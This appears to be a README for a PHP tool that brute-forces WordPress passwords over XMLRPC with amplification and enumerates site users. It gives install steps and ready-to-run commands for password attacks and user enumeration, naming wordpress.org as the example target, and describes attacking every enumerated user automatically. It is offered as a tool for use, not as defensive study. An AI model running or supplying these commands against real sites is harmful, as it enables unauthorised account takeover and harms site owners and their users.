A simply PHP CLI Tool / Lib to bruteforce WordPress XMLRPC using amplification.
More info: here
- PHP 5.3+
- Composer
composer install
php wpbruteforcer.php bruteforce http://wordpress.org/ --wordlist wordlist.txt --username admin
If none username is provided, the tool will enumerate the WordPress users and attack all of them.
php wpbruteforcer.php bruteforce http://wordpress.org/ --wordlist wordlist.txt
You can also just enumerate users with:
php wpbruteforcer.php enumerate http://wordpress.org/ --limit 20
To get a list of options use:
php wpbruteforcer.php -h